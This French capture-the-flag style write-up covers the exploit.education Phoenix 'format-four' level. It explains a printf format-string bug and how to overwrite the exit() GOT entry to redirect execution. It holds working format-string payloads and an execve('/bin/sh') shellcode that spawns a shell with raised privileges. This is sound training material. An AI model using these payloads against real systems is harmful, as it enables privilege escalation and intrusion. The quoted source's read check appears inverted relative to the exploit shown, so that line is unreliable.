kiddie
.:: @OREL ::.

Phoenix - Format string - Format 4
[ 22/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/format-four/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level introduces writing to memory in such a way that you can control code execution.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/format-four, by https://exploit.education * * Can you affect code execution? Once you've got congratulations() to * execute, can you then execute your own shell code? * * Did you get a hair cut? * No, I got all of them cut. * */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" void bounce(char *str) { printf(str); exit(0); } void congratulations() { printf("Well done, you're redirected code execution!\n"); exit(0); } int main(int argc, char **argv) { char buf[4096]; printf("%s\n", BANNER); if (read(0, buf, sizeof(buf) - 1) >= 0) { exit(EXIT_FAILURE); } bounce(buf); }
Dans le contexte global, la procédure bounce est déclarée, elle prend un argument, str de type char *, le corps de la procédure se contente d'afficher le contenu de str avec un appel à printf. Une seconde procédure notée congratulations est déclarée et permet de valider cet exercice s'il elle est appelée. Le main récupére l'entrée utilisateur dans un buffer de 4096 octets noté buf et donne ce buffer en argument à la procédure bounce.
[1.2 - identification de la vulnérabilité
La vulnérabilité se situe dans la procédure bounce, en effet, celle-ci appelle printf avec str en argument, str étant une copie de l'entrée utilisateur, il est possible d'injecter une chaîne de caractères qui sera interprétée par printf.
[2 - Méthodologie d'exploitation
L'objectif ici est d'appeler congratulations en exploitant la format string, on a déjà évoqué dans format 2 comment écraser la sauvegarde de rip et rediriger le flux d'exécution mais cette méthode n'est pas valable pour format 4. En effet, la procédure bounce se termine par un appel à exit, l'épilogue composé des instructions leave ret n'est donc pas exécuté, on va par conséquent devoir trouver un autre moyen pour atteindre congratulations. L'appel à exit n'a pas été placé là par hasard, d'un côté, il nous empêche de répéter le précédent schèma, mais dans le même temps, il offre un nouveau vecteur d'attaque qu'on peut iden- tifer en analysant comment exit est appelée :
user@phoenix-amd64:/opt/phoenix/i486$ gdb -q format-four (gdb) set disassembly-flavor intel (gdb) disas bounce Dump of assembler code for function bounce: 0x080484e5 <+0>: push ebp 0x080484e6 <+1>: mov ebp,esp 0x080484e8 <+3>: sub esp,0x8 0x080484eb <+6>: sub esp,0xc 0x080484ee <+9>: push DWORD PTR [ebp+0x8] 0x080484f1 <+12>: call 0x8048300 <printf@plt> 0x080484f6 <+17>: add esp,0x10 0x080484f9 <+20>: sub esp,0xc 0x080484fc <+23>: push 0x0 0x080484fe <+25>: call 0x8048330 <exit@plt> End of assembler dump. (gdb) b *0x080484fe Breakpoint 1 at 0x80484fe (gdb) r Starting program: /opt/phoenix/i486/format-four Welcome to phoenix/format-four, brought to you by https://exploit.education 1234 1234 Breakpoint 1, 0x080484fe in bounce () (gdb) x/i $eip => 0x80484fe <bounce+25>: call 0x8048330 <exit@plt> (gdb) si 0x08048330 in exit@plt () (gdb) x/i $eip => 0x8048330 <exit@plt>: jmp DWORD PTR ds:0x80497e4 (gdb) x/x 0x80497e4 0x80497e4 <exit@got.plt>: 0xf7f7f543 (gdb) x/3i 0xf7f7f543 0xf7f7f543 <exit>: push ebx 0xf7f7f544 <exit+1>: call 0xf7f879bc <__x86.get_pc_thunk.bx> 0xf7f7f549 <exit+6>: add ebx,0x7bab7 (gdb) maintenance info sections Exec file: `/opt/phoenix/i486/format-four', file type elf32-i386. ... [15] 0x80497cc->0x80497ec at 0x000007cc: .got.plt ALLOC LOAD DATA HAS_CONTENTS ...
Commen on peut l'observer, le call exit ne redirige pas eip sur le code de exit mais sur une section du binaire nommée PLT. Dans cette même section, on déréférence un pointeur située dans une autre section notée GOT.PLT pour enfin atteindre le corps de exit. Cet ensemble de sections est utilisé dans le cadre des binaires liés dyna- miquement, notamment pour la résolution des symboles. Je vous invite à lire l'article disponible sur segmentationfault.fr pour une explication détailée du rôle de ces sections. Dans le cadre de notre exercice, on retiendra qu'on pointeur est utilisé pour atteindre le corps de exit et que ce même pointeur est situé dans une section avec les droits d'écriture. En écrasant l'adresse de exit pas celle de congratualations, on devrait être en mesure de résoudre cette épreuve. Pour ce faire, il suffit de répéter la méthode utilisée dans les précédentes format string, scinder la valeur à écrire en deux blocs de 2 octets qu'on écrira en ordre croissant. Référez-vous à format 3 pour connaître la marche à suivre.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "\x08\x04\x97\xe4"[::-1] + "JUNK"\ > + "\x08\x04\x97\xe6"[::-1] + "%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%33961x-%n-%33535x-%n"'\ > | ./format-four Welcome to phoenix/format-four, brought to you by https://exploit.education JUNK0-0-0-0xf7f81cf7-0xf7ffb000-0xffffd748-0x804857d-0xffffc740-0xffffc740-0xfff- ... Well done, you're redirected code execution! Well done, you're redirected code execution! Well done, you're redirected code execution! Well done, you're redirected code execution! ...
La modification de l'exploit pour lancer un bash est assez triviale, il suffit de faire pointer l'entrée de la GOT sur la variable buf en pensant à ajouter l'offset du shellcode :
user@phoenix-amd64:/opt/phoenix/i486$ (python -c 'print "\x08\x04\x97\xe4"[::-1] + "JUNK"\ > + "\x08\x04\x97\xe6"[::-1] + "%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%50933x-%n-%14510x-%n"\ > + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'\ > ;cat -) | /opt/phoenix/i486/format-four Welcome to phoenix/format-four, brought to you by https://exploit.education JUNK0-0-0-0xf7f81cf7-0xf7ffb000-0xffffd718-0x804857d-0xffffc710-0xffffc710-0xfff- ... id uid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four)...
[4 - Conclusion
Format 4 démontre qu'il est possible de profiter du méchanisme de liens dynamiques pour rediriger le flux d'exécution d'un programme.

Tout est faux tout est conforme.